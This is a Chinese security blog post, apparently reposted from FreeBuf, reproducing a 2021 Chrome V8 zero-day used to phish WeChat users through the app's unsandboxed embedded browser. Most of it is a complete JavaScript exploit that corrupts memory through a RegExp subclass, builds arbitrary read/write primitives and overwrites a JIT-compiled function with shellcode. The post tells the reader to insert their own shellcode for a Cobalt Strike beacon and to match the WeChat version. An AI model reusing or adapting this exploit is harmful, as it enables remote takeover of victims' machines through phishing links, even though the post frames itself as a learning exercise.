Chrome-0day引发的一波蝴蝶效应

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发布于 2021-05-20 16:45:11

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发布于 2021-05-20 16:45:11

文章被收录于专栏：FreeBufFreeBuf

0x00 前言

近日Chrome爆出0day在安全圈内掀起了一大波浪潮，恰好又正处攻防演练期间，这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程，笔者秉承着学习的心态，复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏，请各位大佬留言指正。

0x01 漏洞利用条件

1.本次漏洞是由Chrome浏览器引起的远程代码执行，由于Chrome本身是存在沙箱的，想要利用此次漏洞，条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。

CMD下运行以下代码，关闭沙箱: 
C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox

2.由于微信中默认使用Chrome内核，且沙箱处于关闭状态，如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接，诱使用户点击从而触发隐藏在链接中的shellcode。

0x02 漏洞利用过程

1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。

注意：Poc使用要与微信版本对应，否则无法上线。

Poc如下：

ENABLE_LOG = true;
IN_WORKER = true;

// run calc and hang in a loop
var shellcode = [      ];//shellcode替换成自己的 注意是x86的function print(data){
}

var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}

var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();

    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}